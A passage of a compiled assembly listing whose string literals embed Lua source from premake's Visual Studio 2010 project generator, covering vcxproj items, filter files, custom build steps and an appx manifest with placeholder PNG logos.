then\nlocal dirs = table.concat(cfg.antbuildjardirs,\";\")\n_p(3,'<JarDirectories>%s</JarDirectories>',dirs)\nend\nif #cfg.antbuildjardependencies > 0 then\nlocal dirs = table.concat(cfg.antbuildjardependencies,\";\")\n_p(3,'<JarDependencies>%s</JarDependencies>',dirs)\nend\nif #cfg.antbuildnativelibdirs > 0 then\nlocal dirs = table.concat(cfg.antbuildnativelibdirs,\";\")\n_p(3,'<NativeLibDirectories>%s</NativeLibDirectories>',dirs)\nend\nif #cfg.antbuildnativelibdependencies > 0 then\nlocal dirs = table.concat(cfg.antbuildnativelibdependencies,\";\")\n_p(3,'<NativeLibDependencies>%s</NativeLibDependencies>',dirs)\nend\nif #cfg.antbuildassetsdirs > 0 then\nlocal dirs = table.concat(cfg.antbuildassetsdirs,\";\")\n_p(3,'<AssetsDirectories>%s</AssetsDirectories>',dirs)\nend\n_p(2,'</AntBuild>')\nend\nend\nlocal function item_definitions(prj)\nfor _, cfginfo in ipairs(prj.solution.vstudio_configs) do\nlocal cfg = premake.getconfig(prj, cfginfo.src_buildcfg, cfginfo.src_platform)\n_p(1,'<ItemDefinitionGroup ' ..if_config_and_platform() ..'>'\n,premake.esc(cfginfo.name))\nvs10_clcompile(cfg)\nresource_compile(cfg)\nitem_def_lib(cfg)\nvc2010.link(cfg)\nant_build(prj, cfg)\nevent_hooks(cfg)\nvs10_masm(prj, cfg)\nadditional_manifest(cfg)\n_p(1,'</ItemDefinitionGroup>')\nend\nend\nfunction vc2010.getfilegroup(prj, group)\nlocal sortedfiles = prj.vc2010sortedfiles\nif not sortedfiles then\nsortedfiles = {\nClCompile = {},\nClInclude = {},\nMASM = {},\nObject = {},\nNone = {},\nResourceCompile = {},\nAppxManifest = {},\nAndroidBuild = {},\nNatvis = {},\nImage = {},\nDeploymentContent = {}\n}\nlocal foundAppxManifest = false\nfor file in premake.project.eachfile(prj, true) do\nif path.issourcefilevs(file.name) then\ntable.insert(sortedfiles.ClCompile, file)\nelseif path.iscppheader(file.name) then\nif not table.icontains(prj.removefiles, file) then\ntable.insert(sortedfiles.ClInclude, file)\nend\nelseif path.isobjectfile(file.name) then\ntable.insert(sortedfiles.Object, file)\nelseif path.isresourcefile(file.name) then\ntable.insert(sortedfiles.ResourceCompile, file)\nelseif path.isimagefile(file.name) then\ntable.insert(sortedfiles.Image, file)\nelseif path.isappxmanifest(file.name) then\nfoundAppxManifest = true\ntable.insert(sortedfiles.AppxManifest, file)\nelseif path.isandroidbuildfile(file.name) then\ntable.insert(sortedfiles.AndroidBuild, file)\nelseif path.isnatvis(file.name) then\ntable.insert(sortedfiles.Natvis, file)\nelseif path.isasmfile(file.name) then\ntable.insert(sortedfiles.MASM, file)\nelseif file.flags and table.icontains(file.flags, \"DeploymentContent\") then\ntable.insert(sortedfiles.DeploymentContent, file)\nelse\ntable.insert(sortedfiles.None, file)\nend\nend\nif vstudio.iswinrt() and prj.kind == \"WindowedApp\" and not foundAppxManifest then\nvstudio.needAppxManifest = true\nlocal fcfg = {}\nfcfg.name = prj.name .. \"/Package.appxmanifest\"\nfcfg.vpath = premake.project.getvpath(prj, fcfg.name)\ntable.insert(sortedfiles.AppxManifest, fcfg)\nlocal logo = {}\nlogo.name = prj.name .. \"/Logo.png\"\nlogo.vpath = logo.name\ntable.insert(sortedfiles.Image, logo)\nlocal smallLogo = {}\nsmallLogo.name = prj.name .. \"/SmallLogo.png\"\nsmallLogo.vpath = smallLogo.name\ntable.insert(sortedfiles.Image, smallLogo)\nlocal storeLogo = {}\nstoreLogo.name = prj.name .. \"/StoreLogo.png\"\nstoreLogo.vpath = storeLogo.name\ntable.insert(sortedfiles.Image, storeLogo)\nlocal splashScreen = {}\nsplashScreen.name = prj.name .. \"/SplashScreen.png\"\nsplashScreen.vpath = splashScreen.name\ntable.insert(sortedfiles.Image, splashScreen)\nend\nprj.vc2010sortedfiles = sortedfiles\nend\nreturn sortedfiles[group]\nend\nfunction vc2010.files(prj)\nvc2010.simplefilesgroup(prj, \"ClInclude\")\nvc2010.compilerfilesgroup(prj)\nvc2010.simplefilesgroup(prj, \"Object\")\nvc2010.simplefilesgroup(prj, \"None\")\nvc2010.customtaskgroup(prj)\nvc2010.simplefilesgroup(prj, \"ResourceCompile\")\nvc2010.simplefilesgroup(prj, \"AppxManifest\")\nvc2010.simplefilesgroup(prj, \"AndroidBuild\")\nvc2010.simplefilesgroup(prj, \"Natvis\")\nvc2010.deploymentcontentgroup(prj, \"Image\")\nvc2010.deploymentcontentgroup(prj, \"DeploymentContent\", \"None\")\nend\nfunction vc2010.customtaskgroup(prj)\nlocal files = { }\nfor _, custombuildtask in ipairs(prj.custombuildtask or {}) do\nfor _, buildtask in ipairs(custombuildtask or {}) do\nlocal fcfg = { }\nfcfg.name = path.getrelative(prj.location,buildtask[1])\nfcfg.vpath = path.trimdots(fcfg.name)\ntable.insert(files, fcfg)\nend\nend\nif #files > 0 then\n_p(1,'<ItemGroup>')\nlocal groupedBuildTasks = {}\nlocal buildTaskNames = {}\nfor _, custombuildtask in ipairs(prj.custombuildtask or {}) do\nfor _, buildtask in ipairs(custombuildtask or {}) do\nif (groupedBuildTasks[buildtask[1]] == nil) then\ngroupedBuildTasks[buildtask[1]] = {}\ntable.insert(buildTaskNames, buildtask[1])\nend\ntable.insert(groupedBuildTasks[buildtask[1]], buildtask)\nend\nend\nfor _, name in ipairs(buildTaskNames) do\ncustombuildtask = groupedBuildTasks[name]\n_p(2,'<CustomBuild Include=\\\"%s\\\">', path.translate(path.getrelative(prj.location,name), \"\\\\\"))\n_p(3,'<FileType>Text</FileType>')\nlocal cmd = \"\"\nlocal outputs = \"\"\nfor _, buildtask in ipairs(custombuildtask or {}) do\nfor _, cmdline in ipairs(buildtask[4] or {}) do\ncmd = cmd .. cmdline\nlocal num = 1\nfor _, depdata in ipairs(buildtask[3] or {}) do\ncmd = string.gsub(cmd,\"%$%(\" .. num ..\"%)\", string.format(\"%s \",path.getrelative(prj.location,depdata)))\nnum = num + 1\nend\ncmd = string.gsub(cmd, \"%$%(<%)\", string.format(\"%s \",path.getrelative(prj.location,buildtask[1])))\ncmd = string.gsub(cmd, \"%$%(@%)\", string.format(\"%s \",path.getrelative(prj.location,buildtask[2])))\ncmd = cmd .. \"\\r\\n\"\nend\noutputs = outputs .. path.getrelative(prj.location,buildtask[2]) .. \";\"\nend\n_p(3,'<Command>%s</Command>',cmd)\n_p(3,'<Outputs>%s%%(Outputs)</Outputs>',outputs)\n_p(3,'<SubType>Designer</SubType>')\n_p(3,'<Message></Message>')\n_p(2,'</CustomBuild>')\nend\n_p(1,'</ItemGroup>')\nend\nend\nfunction vc2010.simplefilesgroup(prj, section, subtype)\nlocal configs = prj.solution.vstudio_configs\nlocal files = vc2010.getfilegroup(prj, section)\nif #files > 0 then\nlocal config_mappings = {}\nfor _, cfginfo in ipairs(configs) do\nlocal cfg = premake.getconfig(prj, cfginfo.src_buildcfg, cfginfo.src_platform)\nif cfg.pchheader and cfg.pchsource and not cfg.flags.NoPCH then\nconfig_mappings[cfginfo] = path.translate(cfg.pchsource, \"\\\\\")\nend\nend\n_p(1,'<ItemGroup>')\nfor _, file in ipairs(files) do\nlocal prjexcluded = table.icontains(prj.excludes, file.name)\nlocal excludedcfgs = {}\nif not prjexcluded then\nfor _, vsconfig in ipairs(configs) do\nlocal cfg = premake.getconfig(prj, vsconfig.src_buildcfg, vsconfig.src_platform)\nlocal fileincfg = table.icontains(cfg.files, file.name)\nlocal cfgexcluded = table.icontains(cfg.excludes, file.name)\nif not fileincfg or cfgexcluded then\ntable.insert(excludedcfgs, vsconfig.name)\nend\nend\nend\nif subtype or prjexcluded or #excludedcfgs > 0 then\n_p(2, '<%s Include=\\\"%s\\\">', section, path.translate(file.name, \"\\\\\"))\nif prjexcluded then\n_p(3, '<ExcludedFromBuild>true</ExcludedFromBuild>')\nelse\nfor _, cfgname in ipairs(excludedcfgs) do\n_p(3, '<ExcludedFromBuild '\n.. if_config_and_platform()\n.. '>true</ExcludedFromBuild>'\n, premake.esc(cfgname)\n)\nend\nend\nif subtype then\n_p(3, '<SubType>%s</SubType>', subtype)\nend\n_p(2,'</%s>', section)\nelse\n_p(2, '<%s Include=\\\"%s\\\" />', section, path.translate(file.name, \"\\\\\"))\nend\nend\n_p(1,'</ItemGroup>')\nend\nend\nfunction vc2010.deploymentcontentgroup(prj, section, filetype)\nif filetype == nil then\nfiletype = section\nend\nlocal files = vc2010.getfilegroup(prj, section)\nif #files > 0 then\n_p(1,'<ItemGroup>')\nfor _, file in ipairs(files) do\n_p(2,'<%s Include=\\\"%s\\\">', filetype, path.translate(file.name, \"\\\\\"))\n_p(3,'<DeploymentContent>true</DeploymentContent>')\n_p(3,'<Link>%s</Link>', path.translate(file.vpath, \"\\\\\"))\n_p(2,'</%s>', filetype)\nend\n_p(1,'</ItemGroup>')\nend\nend\nfunction vc2010.compilerfilesgroup(prj)\nlocal configs = prj.solution.vstudio_configs\nlocal files = vc2010.getfilegroup(prj, \"ClCompile\")\nif #files > 0 then\nlocal config_mappings = {}\nfor _, cfginfo in ipairs(configs) do\nlocal cfg = premake.getconfig(prj, cfginfo.src_buildcfg, cfginfo.src_platform)\nif cfg.pchheader and cfg.pchsource and not cfg.flags.NoPCH then\nconfig_mappings[cfginfo] = path.translate(cfg.pchsource, \"\\\\\")\nend\nend\n_p(1,'<ItemGroup>')\nlocal existingBasenames = {};\nfor _, file in ipairs(files) do\nlocal filename = string.lower(path.getbasename(file.name))\nlocal disambiguation = existingBasenames[filename] or 0;\nexistingBasenames[filename] = disambiguation + 1\nlocal translatedpath = path.translate(file.name, \"\\\\\")\n_p(2, '<ClCompile Include=\\\"%s\\\">', translatedpath)\nfor _, vsconfig in ipairs(configs) do\nlocal cfg = premake.getconfig(prj, vsconfig.src_buildcfg, vsconfig.src_platform)\nlocal namestyle = premake.getnamestyle(cfg)\nif namestyle == \"TegraAndroid\" or namestyle == \"NX\" then\n_p(3, '<ObjectFileName '.. if_config_and_platform() .. '>$(IntDir)%s.o</ObjectFileName>', premake.esc(vsconfig.name), premake.esc(path.translate(path.trimdots(path.removeext(file.name)))) )\nelse\nif disambiguation > 0 then\n_p(3, '<ObjectFileName '.. if_config_and_platform() .. '>$(IntDir)%s\\\\</ObjectFileName>', premake.esc(vsconfig.name), tostring(disambiguation))\nend\nend\nend\nif path.iscxfile(file.name) then\n_p(3, '<CompileAsWinRT>true</CompileAsWinRT>')\n_p(3, '<RuntimeTypeInfo>true</RuntimeTypeInfo>')\n_p(3, '<PrecompiledHeader>NotUsing</PrecompiledHeader>')\nend\nif vstudio.iswinrt() and string.len(file.name) > 2 and string.sub(file.name, -2) == \".c\" then\n_p(3,'<CompileAsWinRT>FALSE</CompileAsWinRT>')\nend\nfor _, cfginfo in ipairs(configs) do\nif config_mappings[cfginfo] and translatedpath == config_mappings[cfginfo] then\n_p(3,'<PrecompiledHeader '.. if_config_and_platform() .. '>Create</PrecompiledHeader>', premake.esc(cfginfo.name))\nconfig_mappings[cfginfo] = nil --only one source file per pch\nend\nend\nlocal nopch = table.icontains(prj.nopch, file.name)\nfor _, vsconfig in ipairs(configs) do\nlocal cfg = premake.getconfig(prj, vsconfig.src_buildcfg, vsconfig.src_platform)\nif nopch or table.icontains(cfg.nopch, file.name) then\n_p(3,'<PrecompiledHeader '.. if_config_and_platform() .. '>NotUsing</PrecompiledHeader>', premake.esc(vsconfig.name))\nend\nend\nlocal excluded = table.icontains(prj.excludes, file.name)\nfor _, vsconfig in ipairs(configs) do\nlocal cfg = premake.getconfig(prj, vsconfig.src_buildcfg, vsconfig.src_platform)\nlocal fileincfg = table.icontains(cfg.files, file.name)\nlocal cfgexcluded = table.icontains(cfg.excludes, file.name)\nif excluded or not fileincfg or cfgexcluded then\n_p(3, '<ExcludedFromBuild '\n.. if_config_and_platform()\n.. '>true</ExcludedFromBuild>'\n, premake.esc(vsconfig.name)\n)\nend\nend\nif prj.flags and prj.flags.Managed then\nlocal prjforcenative = table.icontains(prj.forcenative, file.name)\nfor _,vsconfig in ipairs(configs) do\nlocal cfg = premake.getconfig(prj, vsconfig.src_buildcfg, vsconfig.src_platform)\nif prjforcenative or table.icontains(cfg.forcenative, file.name) then\n_p(3, '<CompileAsManaged ' .. if_config_and_platform() .. '>false</CompileAsManaged>', premake.esc(vsconfig.name))\nend\nend\nend\n_p(2,'</ClCompile>')\nend\n_p(1,'</ItemGroup>')\nend\nend\nfunction vc2010.masmfiles(prj)\nlocal configs = prj.solution.vstudio_configs\nlocal files = vc2010.getfilegroup(prj, \"MASM\")\nif #files > 0 then\n_p(1, '<ItemGroup>')\nfor _, file in ipairs(files) do\nlocal translatedpath = path.translate(file.name, \"\\\\\")\n_p(2, '<MASM Include=\"%s\">', translatedpath)\nlocal excluded = table.icontains(prj.excludes, file.name)\nfor _, vsconfig in ipairs(configs) do\nlocal cfg = premake.getconfig(prj, vsconfig.src_buildcfg, vsconfig.src_platform)\nlocal fileincfg = table.icontains(cfg.files, file.name)\nlocal cfgexcluded = table.icontains(cfg.excludes, file.name)\nif excluded or not fileincfg or cfgexcluded then\n_p(3, '<ExcludedFromBuild '\n.. if_config_and_platform()\n.. '>true</ExcludedFromBuild>'\n, premake.esc(vsconfig.name)\n)\nend\nend\n_p(2, '</MASM>')\nend\n_p(1, '</ItemGroup>')\nend\nend\nfunction vc2010.header(targets)\nio.eol = \"\\r\\n\"\n_p('<?xml version=\"1.0\" encoding=\"utf-8\"?>')\nlocal t = \"\"\nif targets then\nt = ' DefaultTargets=\"' .. targets .. '\"'\nend\n_p('<Project%s ToolsVersion=\"%s\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">', t, action.vstudio.toolsVersion)\nend\nfunction premake.vs2010_vcxproj(prj)\nlocal usemasm = hasmasmfiles(prj)\nio.indent = \" \"\nvc2010.header(\"Build\")\nvs2010_config(prj)\nvs2010_globals(prj)\n_p(1,'<Import Project=\"$(VCTargetsPath)\\\\Microsoft.Cpp.Default.props\" />')\nfor _, cfginfo in ipairs(prj.solution.vstudio_configs) do\nlocal cfg = premake.getconfig(prj, cfginfo.src_buildcfg, cfginfo.src_platform)\nvc2010.configurationPropertyGroup(cfg, cfginfo)\nend\n_p(1,'<Import Project=\"$(VCTargetsPath)\\\\Microsoft.Cpp.props\" />')\n_p(1,'<ImportGroup Label=\"ExtensionSettings\">')\nif usemasm then\n_p(2, '<Import Project=\"$(VCTargetsPath)\\\\BuildCustomizations\\\\masm.props\" />')\nend\n_p(1,'</ImportGroup>')\nimport_props(prj)\n_p(1,'<PropertyGroup Label=\"UserMacros\" />')\nvc2010.outputProperties(prj)\nitem_definitions(prj)\nvc2010.files(prj)\nvc2010.clrReferences(prj)\nvc2010.projectReferences(prj)\nvc2010.sdkReferences(prj)\nvc2010.masmfiles(prj)\n_p(1,'<Import Project=\"$(VCTargetsPath)\\\\Microsoft.Cpp.targets\" />')\n_p(1,'<ImportGroup Label=\"ExtensionTargets\">')\nif usemasm then\n_p(2, '<Import Project=\"$(VCTargetsPath)\\\\BuildCustomizations\\\\masm.targets\" />')\nend\n_p(1,'</ImportGroup>')\n_p('</Project>')\nend\nfunction vc2010.clrReferences(prj)\nif #prj.clrreferences == 0 then\nreturn\nend\n_p(1,'<ItemGroup>')\nfor _, ref in ipairs(prj.clrreferences) do\nif os.isfile(ref) then\nlocal assembly = path.getbasename(ref)\n_p(2,'<Reference Include=\"%s\">', assembly)\n_p(3,'<HintPath>%s</HintPath>', path.getrelative(prj.location, ref))\n_p(2,'</Reference>')\nelse\n_p(2,'<Reference Include=\"%s\" />', ref)\nend\nend\n_p(1,'</ItemGroup>')\nend\nfunction vc2010.projectReferences(prj)\nlocal deps = premake.getdependencies(prj)\nif #deps == 0 and #prj.vsimportreferences == 0 then\nreturn\nend\nlocal function compareuuid(a, b) return a.uuid < b.uuid end\ntable.sort(deps, compareuuid)\ntable.sort(table.join(prj.vsimportreferences), compareuuid)\n_p(1,'<ItemGroup>')\nfor _, dep in ipairs(deps) do\nlocal deppath = path.getrelative(prj.location, vstudio.projectfile(dep))\n_p(2,'<ProjectReference Include=\\\"%s\\\">', path.translate(deppath, \"\\\\\"))\n_p(3,'<Project>{%s}</Project>', dep.uuid)\nif vstudio.iswinrt() then\n_p(3,'<ReferenceOutputAssembly>false</ReferenceOutputAssembly>')\nend\n_p(2,'</ProjectReference>')\nend\nfor _, ref in ipairs(prj.vsimportreferences) do\nlocal slnrelpath = path.rebase(ref, prj.location, sln.location)\nlocal iprj = premake.vstudio.getimportprj(slnrelpath, prj.solution)\n_p(2,'<ProjectReference Include=\\\"%s\\\">', ref)\n_p(3,'<Project>{%s}</Project>', iprj.uuid)\n_p(2,'</ProjectReference>')\nend\n_p(1,'</ItemGroup>')\nend\nfunction vc2010.sdkReferences(prj)\nlocal refs = prj.sdkreferences\nif #refs > 0 then\n_p(1,'<ItemGroup>')\nfor _, ref in ipairs(refs) do\n_p(2,'<SDKReference Include=\\\"%s\\\" />', ref)\nend\n_p(1,'</ItemGroup>')\nend\nend\nfunction vc2010.debugdir(cfg)\nlocal isnx = (cfg.platform == \"NX32\" or cfg.platform == \"NX64\")\nlocal debuggerFlavor =\n iif(isnx, 'OasisNXDebugger'\n, iif(cfg.platform == \"Orbis\", 'ORBISDebugger'\n, iif(cfg.platform == \"Durango\", 'XboxOneVCppDebugger'\n, iif(cfg.platform == \"TegraAndroid\", 'AndroidDebugger'\n, iif(vstudio.iswinrt(), 'AppHostLocalDebugger'\n, 'WindowsLocalDebugger'\n)))))\n_p(2, '<DebuggerFlavor>%s</DebuggerFlavor>', debuggerFlavor)\nif cfg.debugdir and not vstudio.iswinrt() then\n_p(2, '<LocalDebuggerWorkingDirectory>%s</LocalDebuggerWorkingDirectory>'\n, path.translate(cfg.debugdir, '\\\\')\n)\nend\nif cfg.debugcmd then\n_p(2, '<LocalDebuggerCommand>%s</LocalDebuggerCommand>', cfg.debugcmd)\nend\nif cfg.debugargs then\n_p(2, '<LocalDebuggerCommandArguments>%s</LocalDebuggerCommandArguments>'\n, table.concat(cfg.debugargs, \" \")\n)\nend\nif cfg.debugenvs and #cfg.debugenvs > 0 then\n_p(2, '<LocalDebuggerEnvironment>%s%s</LocalDebuggerEnvironment>'\n, table.concat(cfg.debugenvs, \"\\n\")\n, iif(cfg.flags.DebugEnvsInherit,'\\n$(LocalDebuggerEnvironment)', '')\n)\nif cfg.flags.DebugEnvsDontMerge then\n_p(2, '<LocalDebuggerMergeEnvironment>false</LocalDebuggerMergeEnvironment>')\nend\nend\nif cfg.deploymode then\n_p(2, '<DeployMode>%s</DeployMode>', cfg.deploymode)\nend\nif cfg.platform == \"TegraAndroid\" then\nif cfg.androiddebugintentparams then\n_p(2, '<IntentParams>%s</IntentParams>'\n, table.concat(cfg.androiddebugintentparams, \" \")\n)\nend\nend\nend\nfunction premake.vs2010_vcxproj_user(prj)\nio.indent = \" \"\nvc2010.header()\nfor _, cfginfo in ipairs(prj.solution.vstudio_configs) do\nlocal cfg = premake.getconfig(prj, cfginfo.src_buildcfg, cfginfo.src_platform)\n_p(' <PropertyGroup '.. if_config_and_platform() ..'>', premake.esc(cfginfo.name))\nvc2010.debugdir(cfg)\n_p(' </PropertyGroup>')\nend\n_p('</Project>')\nend\nlocal png1x1data = {\n0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a, 0x00, 0x00, 0x00, 0x0d, 0x49, 0x48, 0x44, 0x52, -- .PNG........IHDR\n0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01, 0x03, 0x00, 0x00, 0x00, 0x25, 0xdb, 0x56, -- .............%.V\n0xca, 0x00, 0x00, 0x00, 0x03, 0x50, 0x4c, 0x54, 0x45, 0x00, 0x00, 0x00, 0xa7, 0x7a, 0x3d, 0xda, -- .....PLTE....z=.\n0x00, 0x00, 0x00, 0x01, 0x74, 0x52, 0x4e, 0x53, 0x00, 0x40, 0xe6, 0xd8, 0x66, 0x00, 0x00, 0x00, -- [email protected]...\n0x0a, 0x49, 0x44, 0x41, 0x54, 0x08, 0xd7, 0x63, 0x60, 0x00, 0x00, 0x00, 0x02, 0x00, 0x01, 0xe2, -- .IDAT..c`.......\n0x21, 0xbc, 0x33, 0x00, 0x00, 0x00, 0x00, 0x49, 0x45, 0x4e, 0x44, 0xae, 0x42, 0x60, 0x82, -- !.3....IEND.B`.\n}\nfunction png1x1(obj, filename)\nfilename = premake.project.getfilename(obj, filename)\nlocal f, err = io.open(filename, \"wb\")\nif f then\nfor _, byte in ipairs(png1x1data) do\nf:write(string.char(byte))\nend\nf:close()\nend\nend\nfunction premake.vs2010_appxmanifest(prj)\nio.indent = \" \"\nio.eol = \"\\r\\n\"\n_p('<?xml version=\"1.0\" encoding=\"utf-8\"?>')\nif vstudio.storeapp == \"10.0\" then\n_p('<Package')\n_p(1, 'xmlns=\"http://schemas.microsoft.com/appx/manifest/foundation/windows10\"')\n_p(1, 'xmlns:mp=\"http://schemas.microsoft.com/appx/2014/phone/manifest\"')\n_p(1, 'xmlns:uap=\"http://schemas.microsoft.com/appx/manifest/uap/windows10\"')\n_p(1, 'IgnorableNamespaces=\"uap mp\">')\nelseif vstudio.storeapp == \"durango\" then\n_p('<Package xmlns=\"http://schemas.microsoft.com/appx/2010/manifest\" xmlns:mx=\"http://schemas.microsoft.com/appx/2013/xbox/manifest\" IgnorableNamespaces=\"mx\">')\nend\n_p(1, '<Identity')\n_p(2, 'Name=\"' .. prj.uuid .. '\"')\n_p(2, 'Publisher=\"CN=Publisher\"')\n_p(2, 'Version=\"1.0.0.0\" />')\nif vstudio.storeapp == \"10.0\" then\n_p(1, '<mp:PhoneIdentity')\n_p(2, 'PhoneProductId=\"' .. prj.uuid .. '\"')\n_p(2, 'PhonePublisherId=\"00000000-0000-0000-0000-000000000000\"/>')\nend\n_p(1, '<Properties>')\n_p(2, '<DisplayName>' .. prj.name .. '</DisplayName>')\n_p(2, '<PublisherDisplayName>PublisherDisplayName</PublisherDisplayName>')\n_p(2, '<Logo>' .. prj.name .. '\\\\StoreLogo.png</Logo>')\npng1x1(prj, \"%%/StoreLogo.png\")\n_p(2, '<Description>' .. prj.name .. '</Description>')\n_p(1,'</Properties>')\nif vstudio.storeapp == \"10.0\" then\n_p(1, '<Dependencies>')\n_p(2, '<TargetDeviceFamily Name=\"Windows.Universal\" MinVersion=\"10.0.10069.0\" MaxVersionTested=\"10.0.10069.0\" />')\n_p(1, '</Dependencies>')\nelseif vstudio.storeapp == \"durango\" then\n_p(1, '<Prerequisites>')\n_p(2, '<OSMinVersion>6.2</OSMinVersion>')\n_p(2, '<OSMaxVersionTested>6.2</OSMaxVersionTested>')\n_p(1, '</Prerequisites>')\nend\n_p(1, '<Resources>')\n_p(2, '<Resource Language=\"en-us\"/>')\n_p(1, '</Resources>')\n_p(1, '<Applications>')\n_p(2, '<Application Id=\"App\"')\n_p(3, 'Executable=\"$targetnametoken$.exe\"')\n_p(3, 'EntryPoint=\"' .. prj.name .. '.App\">')\nif vstudio.storeapp == \"10.0\" then\n_p(3, '<uap:VisualElements')\n_p(4, 'DisplayName=\"' .. prj.name .. '\"')\n_p(4, 'Square150x150Logo=\"' .. prj.name .. '\\\\Logo.png\"')\npng1x1(prj, \"%%/Logo.png\")\nif vstudio.storeapp == \"10.0\" then\n_p(4, 'Square44x44Logo=\"' .. prj.name .. '\\\\SmallLogo.png\"')\npng1x1(prj, \"%%/SmallLogo.png\")\nelse\n_p(4, 'Square30x30Logo=\"' .. prj.name .. '\\\\SmallLogo.png\"')\npng1x1(prj, \"%%/SmallLogo.png\")\nend\n_p(4, 'Description=\"' .. prj.name .. '\"')\n_p(4, 'BackgroundColor=\"transparent\">')\n_p(4, '<uap:SplashScreen Image=\"' .. prj.name .. '\\\\SplashScreen.png\" />')\npng1x1(prj, \"%%/SplashScreen.png\")\n_p(3, '</uap:VisualElements>')\nelseif vstudio.storeapp == \"durango\" then\n_p(3, '<VisualElements')\n_p(4, 'DisplayName=\"' .. prj.name .. '\"')\n_p(4, 'Logo=\"' .. prj.name .. '\\\\Logo.png\"')\npng1x1(prj, \"%%/Logo.png\")\n_p(4, 'SmallLogo=\"' .. prj.name .. '\\\\SmallLogo.png\"')\npng1x1(prj, \"%%/SmallLogo.png\")\n_p(4, 'Description=\"' .. prj.name .. '\"')\n_p(4, 'ForegroundText=\"light\"')\n_p(4, 'BackgroundColor=\"transparent\">')\n_p(5, '<SplashScreen Image=\"' .. prj.name .. '\\\\SplashScreen.png\" />')\npng1x1(prj, \"%%/SplashScreen.png\")\n_p(3, '</VisualElements>')\n_p(3, '<Extensions>')\n_p(4, '<mx:Extension Category=\"xbox.system.resources\">')\n_p(4, '<mx:XboxSystemResources />')\n_p(4, '</mx:Extension>')\n_p(3, '</Extensions>')\nend\n_p(2, '</Application>')\n_p(1, '</Applications>')\n_p('</Package>')\nend\n"
l_.str.42: ; @.str.42
.asciz "local vc2010 = premake.vstudio.vc2010\nlocal project = premake.project\nfunction vc2010.filteridgroup(prj)\nlocal filters = { }\nlocal filterfound = false\nfor file in premake.project.eachfile(prj, true) do\nlocal folders = string.explode(file.vpath, \"/\", true)\nlocal path = \"\"\nfor i = 1, #folders - 1 do\nif not filterfound then\nfilterfound = true\n_p(1,'<ItemGroup>')\nend\npath = path .. folders[i]\nif not filters[path] then\nfilters[path] = true\n_p(2, '<Filter Include=\"%s\">', path)\n_p(3, '<UniqueIdentifier>{%s}</UniqueIdentifier>', os.uuid(path))\n_p(2, '</Filter>')\nend\npath = path .. \"\\\\\"\nend\nend\nfor _, custombuildtask in ipairs(prj.custombuildtask or {}) do\nfor _, buildtask in ipairs(custombuildtask or {}) do\nlocal folders = string.explode(path.trimdots(path.getrelative(prj.location,buildtask[1])), \"/\", true)\nlocal path = \"\"\nfor i = 1, #folders - 1 do\nif not filterfound then\nfilterfound = true\n_p(1,'<ItemGroup>')\nend\npath = path .. folders[i]\nif not filters[path] then\nfilters[path] = true\n_p(2, '<Filter Include=\"%s\">', path)\n_p(3, '<UniqueIdentifier>{%s}</UniqueIdentifier>', os.uuid(path))\n_p(2, '</Filter>')\nend\npath = path .. \"\\\\\"\nend\nend\nend\nif filterfound then\n_p(1,'</ItemGroup>')\nend\nend\nfunction vc2010.filefiltergroup(prj, section, kind)\nlocal files = vc2010.getfilegroup(prj, section) or {}\nif kind == nill then\nkind = section\nend\nif (section == \"CustomBuild\") then\nfor _, custombuildtask in ipairs(prj.custombuildtask or {}) do\nfor _, buildtask in ipairs(custombuildtask or {}) do\nlocal fcfg = { }\nfcfg.name = path.getrelative(prj.location,buildtask[1])\nfcfg.vpath = path.trimdots(fcfg.name)\ntable.insert(files, fcfg)\nend\nend\nend\nif #files > 0 then\n_p(1,'<ItemGroup>')\nfor _, file in ipairs(files) do\nlocal filter\nif file.name ~= file.vpath then\nfilter = path.getdirectory(file.vpath)\nelse\nfilter = path.getdirectory(file.name)\nend\nif filter ~= \".\" then\n_p(2,'<%s Include=\\\"%s\\\">', kind, path.translate(file.name, \"\\\\\"))\n_p(3,'<Filter>%s</Filter>', path.translate(filter, \"\\\\\"))\n_p(2,'</%s>', kind)\nelse\n_p(2,'<%s Include=\\\"%s\\\" />', kind, path.translate(file.name, \"\\\\\"))\nend\nend\n_p(1,'</ItemGroup>')\nend\nend\nfunction vc2010.generate_filters(prj)\nio.indent = \" \"\nvc2010.header()\nvc2010.filteridgroup(prj)\nvc2010.filefiltergroup(prj, \"None\")\nvc2010.filefiltergroup(prj, \"ClInclude\")\nvc2010.filefiltergroup(prj, \"ClCompile\")\nvc2010.filefiltergroup(prj, \"Object\")\nvc2010.filefiltergroup(prj, \"ResourceCompile\")\nvc2010.filefiltergroup(prj, \"CustomBuild\")\nvc2010.filefiltergroup(prj, \"AppxManifest\")\nvc2010.filefiltergroup(prj, \"Natvis\")\nvc2010.filefiltergroup(prj, \"Image\")\nvc2010.filefiltergroup(prj, \"DeploymentContent\", \"None\")\nvc2010.filefiltergroup(prj, \"MASM\")\n_p('</Project>')\nend\n"
l_.str.43: ; @.str.43
.asciz "local vc2010 = premake.vstudio.vc2010\nlocal vstudio = premake.vstudio\nnewaction\n{\ntrigger = \"vs2010\",\nshortname = \"Visual Studio 2010\",\ndescription = \"Generate Microsoft Visual Studio 2010 project files\",\nos = \"windows\",\nvalid_kinds = { \"ConsoleApp\", \"WindowedApp\", \"StaticLib\", \"SharedLib\", \"Bundle\" },\nvalid_languages = { \"C\", \"C++\", \"C#\"},\nvalid_tools = {\ncc = { \"msc\" },\ndotnet = { \"msnet\" },\n},\nonsolution = function(sln)\npremake.generate(sln, \"%%.sln\", vstudio.sln2005.generate)\nend,\nonproject = function(prj)\nif premake.isdotnetproject(prj) then\npremake.generate(prj, \"%%.csproj\", vstudio.cs2005.generate)\npremake.generate(prj, \"%%.csproj.user\", vstudio.cs2005.generate_user)\nelse\npremake.generate(prj, \"%%.vcxproj\", premake.vs2010_vcxproj)\npremake.generate(prj, \"%%.vcxproj.user\", premake.vs2010_vcxproj_user)\npremake.generate(prj, \"%%.vcxproj.filters\", vstudio.vc2010.generate_filters)\nend\nend,\noncleansolution = premake.vstudio.cleansolution,\noncleanproject = premake.vstudio.cleanproject,\noncleantarget = premake.vstudio.cleantarget,\nvstudio = {\nproductVersion = \"8.0.30703\",\nsolutionVersion = \"11\",\ntargetFramework = \"4.0\",\ntoolsVersion = \"4.0\",\nsupports64bitEditContinue = false,\nintDirAbsolute = false,\n}\n}\n"
l_.str.44: ; @.str.44
